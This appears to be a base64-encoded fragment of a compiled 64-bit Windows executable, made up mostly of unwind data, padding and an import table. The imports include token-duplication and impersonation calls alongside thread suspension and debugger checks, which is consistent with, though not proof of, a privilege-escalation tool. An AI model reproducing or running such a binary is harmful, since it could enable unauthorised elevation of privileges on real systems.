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xlVwAAEwJHZXRDdXJyZW50VGhyZWFkAABuBVRlcm1pbmF0ZVByb2Nlc3MAAFYCR2V0TGFzdEVycm9yAACkAkdldFByb2NBZGRyZXNzAADvAkdldFRocmVhZElkACMBRHVwbGljYXRlSGFuZGxlAH8AQ2xvc2VIYW5kbGUAZwVTdXNwZW5kVGhyZWFkAKsEUmVzdW1lVGhyZWFkAADnAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAAASAk9wZW5Qcm9jZXNzVG9rZW4AAIwAQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcAFwJPcGVuVGhyZWFkVG9rZW4A6gJTZXRUaHJlYWRUb2tlbgAAbwFHZXRUb2tlbkluZm9ybWF0aW9uAO4ARHVwbGljYXRlVG9rZW4AAEFEVkFQSTMyLmRsbAAAJQFFbmNvZGVQb2ludGVyAP8ARGVjb2RlUG9pbnRlcgBXAUV4aXRQcm9jZXNzAGwCR2V0TW9kdWxlSGFuZGxlRXhXAADUA011bHRpQnl0ZVRvV2lkZUNoYXIA2wVXaWRlQ2hhclRvTXVsdGlCeXRlAM8BR2V0Q29tbWFuZExpbmVXALYEUnRsUGNUb0ZpbGVIZWFkZXIAQwRSYWlzZUV4Y2VwdGlvbgAAtARSdGxMb29rdXBGdW5jdGlvbkVudHJ5AAC6BFJ0bFVud2luZEV4AGoDSXNEZWJ1Z2dlclByZXNlbnQAcANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50ACkBRW50ZXJDcml0aWNhbFNlY3Rpb24AAKUDTGVhdmVDcml0aWNhbFNlY3Rpb24AAEEDSGVhcFNpemUAADwDSGVhcEZyZWUAAAYBRGVsZXRlQ3JpdGljYWxTZWN0aW9uAK0EUnRsQ2FwdHVyZUNvbnRleHQAuwRSdGxWaXJ0dWFsVW53aW5kAACQBVVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAUAVTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAGAVTZXRMYXN0RXJyb3IAAFEDSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudABfBVNsZWVwAIAFVGxzQWxsb2MAAIIFVGxzR2V0VmFsdWUAgwVUbHNTZXRWYWx1ZQCBBVRsc0ZyZWUAxQJHZXRTdGFydHVwSW5mb1cAxwJHZXRTdGRIYW5kbGUAAO8FV3JpdGVGaWxlAGkCR2V0TW9kdWxlRmlsZU5hbWVXAACqA0xvYWRMaWJyYXJ5RXhXAAB1A0lzVmFsaWRDb2RlUGFnZQCqAUdldEFDUAAAjQJHZXRPRU1DUAAAuQFHZXRDUEluZm8AOANIZWFwQWxsb2MAFAJHZXRDdXJyZW50VGhyZWFkSWQAAKkCR2V0UHJvY2Vzc0hlYXAAAEUCR2V0RmlsZVR5cGUAMARRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgAQAkdldEN1cnJlbnRQcm9jZXNzSWQA3QJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQAuAkdldEVudmlyb25tZW50U3RyaW5nc1cAAKMBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAPwNIZWFwUmVBbGxvYwCZA0xDTWFwU3RyaW5nVwAA/QNPdXRwdXREZWJ1Z1N0cmluZ1cAAMwCR2V0U3RyaW5nVHlwZVcAAJgBRmx1c2hGaWxlQnVmZmVycwAA4gFHZXRDb25zb2xlQ1AAAPQBR2V0Q29uc29sZU1vZGUAAAsFU2V0RmlsZVBvaW50ZXJFeAAALgVTZXRTdGRIYW5kbGUAAO4FV3JpdGVDb25zb2xlVwDCAENyZWF0ZUZpbGVXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdZgAAHOYAAAyot8tmSsAAM1dINJm1P//AQAAAAIAAAAg/wFAAQAAAAAAAAAAAAAAIP8BQAEAAAABAQAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAFgAAAAIAAAACAAAAAwAAAAIAAAAEAAAAGAAAAAUAAAANAAAABgAAAAkAAAAHAAAADAAAAAgAAAAMAAAACQAAAAwAAAAKAAAABwAAAAsAAAAIAAAADAAAABYAAAANAAAAFgAAAA8AAAACAAAAEAAAAA0AAAARAAAAEgAAABIAAAACAAAAIQAAAA0AAAA1AAAAAgAAAEEAAAANAAAAQwAAAAIAAABQAAAAEQAAAFIAAAANAAAAUwAAAA0AAABXAAAAFgAAAFkAAAALAAAAbAAAAA0AAABtAAAAIAAAAHAAAAAcAAAAcgAAAAkAAAAGAAAAFgAAAIAAAAAKAAAAgQAAAAoAAACCAAAACQAAAIMAAAAWAAAAhAAAAA0AAACRAAAAKQAAAJ4AAAANAAAAoQAAAAIAAACkAAAACwAAAKcAAAANAAAAtwAAABEAAADOAAAAAgAAANcAAAALAAAAGAcAAAwAAAAMAAAACAAAAPBIAUABAAAA+EgBQAEAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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